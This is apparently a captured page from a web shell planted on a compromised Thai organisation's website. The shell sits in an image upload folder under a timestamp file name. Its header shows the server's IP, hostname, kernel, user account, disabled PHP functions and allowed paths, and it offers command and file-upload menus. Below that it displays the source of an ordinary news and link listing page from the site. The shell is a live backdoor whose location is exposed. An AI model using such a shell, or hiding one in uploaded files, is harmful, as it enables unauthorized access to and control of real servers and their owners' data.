|
Server IP : 124.109.2.77 / Your IP : 216.73.216.49 Web Server : Apache/2 System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : cpctlp ( 1020) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341 OFF Directory (0755) : /home/cpctlp/domains/cpctlphp.com/public_html/admin/../admin/ajax/../select2/../../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
header('Content-Type: text/plain; charset=utf-8');
header('Content-Type: text/html; charset=utf-8');
//กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
include ("Connections/config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="keywords" content="<?php echo $config[web_keywords];?>" />
<meta name="description" content="<?php echo $config[web_description];?>" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
<title><?php echo $config['web_title'];?></title>
<!-- favicon icon -->
<link rel="shortcut icon" href="images/<?php echo $config[web_icon];?>" />
<!-- bootstrap -->
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css"/>
<!-- animate -->
<link rel="stylesheet" type="text/css" href="css/animate.css"/>
<!-- owl-carousel -->
<link rel="stylesheet" type="text/css" href="css/owl.carousel.css">
<!-- fontawesome -->
<link rel="stylesheet" type="text/css" href="css/font-awesome.css"/>
<!-- themify -->
<link rel="stylesheet" type="text/css" href="css/themify-icons.css"/>
<!-- flaticon -->
<link rel="stylesheet" type="text/css" href="css/flaticon.css"/>
<!-- REVOLUTION LAYERS STYLES -->
<link rel="stylesheet" type="text/css" href="revolution/css/rs6.css">
<!-- prettyphoto -->
<link rel="stylesheet" type="text/css" href="css/prettyPhoto.css">
<!-- shortcodes -->
<link rel="stylesheet" type="text/css" href="css/shortcodes.css"/>
<!-- main -->
<link rel="stylesheet" type="text/css" href="css/main.css"/>
<!-- responsive -->
<link rel="stylesheet" type="text/css" href="css/responsive.css"/>
<!-- font -->
<link href="https://fonts.googleapis.com/css?family=Kanit" rel="stylesheet">
<style type="text/css">
body {
font-family: 'Kanit', sans-serif;
}
</style>
<!-- font -->
</head>
<?php
include ("Connections/function-sys.php");
?>
<body>
<!--page start-->
<div class="page">
<!-- preloader start -->
<div id="preloader">
<div id="status"> </div>
</div>
<!-- preloader end -->
<?php
include("header.php");
include("BannerHeader.php");
$page_data=24;
$sql="select page_name.* from page_name where page_data='$page_data' ";
$arr=$db->getRec($sql);
$page_name=$arr['page_name'];
?>
<!--site-main start-->
<div class="site-main">
<!-- blog-section end -->
<section style="padding: 50px;">
<div class="container">
<div class="row">
<div class="col-md-12">
<!-- section title -->
<div class="section-title text-center with-desc clearfix">
<div class="title-header">
<h3><?php echo $page_name;?></h5>
</div>
</div><!-- section title end -->
</div>
</div>
<!-- row -->
<div class="row">
<?php
$sql="select news.*,TO_DAYS(now())-TO_DAYS(concat(YEAR(aDate),'-',month(aDate),'-',day(aDate))) as cday
from news
where subID='0' order by aDate desc limit 9 ";
$sql ="select *,TO_DAYS(now())-TO_DAYS(concat(YEAR(linkDate),'-',month(linkDate),'-',day(linkDate))) as cday
from link
where page_data='$page_data'
order by budgetYear desc,linkDate desc,linkID desc";
foreach ($db->dbSearch($sql) as $i=>$arr) {
if($i>0 and $i%3==0){
echo "</div>
<div class=\"row col-lg-12 col-sm-12 col-xs-12\">";
}
if(!empty($arr[qFile])){
$arr[url]="ShowLink.php?id=$arr[uniqid]$arr[linkID]";
}
$arr[linkDate]=ShowAllDate($arr[linkDate],1); //." ".substr($arr2[linkDate],10,10);
$arr[name]=htmlspecialchars_decode($arr[name], ENT_QUOTES);
if($arr[cday]<=5){
$IconNew = "<img src=\"images/new.gif\" width=\"50\">";
}else{
$IconNew = "";
}
echo <<<DOC
<div class="col-lg-4 col-sm-12 col-xs-12" style="padding-right: 10px;padding-left: 35px;">
<div class="row">
<div class="col-lg-5 col-sm-12 col-xs-12">
<A HREF="$arr[url]" target="a$arr[linkID]">
<img class="lazyload img-fluid" src="admin/images/link/$arr[aImg]" width="100%" style=" border: 0px solid #ddd;border-radius: 5px;">
</A>
</div>
<div class="col-lg-7 col-sm-12 col-xs-12">
<span class="price text-center"><small>$arr[linkDate]</small></span><BR>
<A HREF="$arr[url]" target="a$arr[linkID]">
$arr[name]</A>$IconNew <BR><!-- $arr[title] -->
</div>
</div>
</div><!-- col-sm-6 -->
DOC;
}
?>
</div><!-- row -->
</div>
</section>
<!-- process-section end -->
</div><!--site-main end-->
<?php include("footer.php");?>
</body>
</html>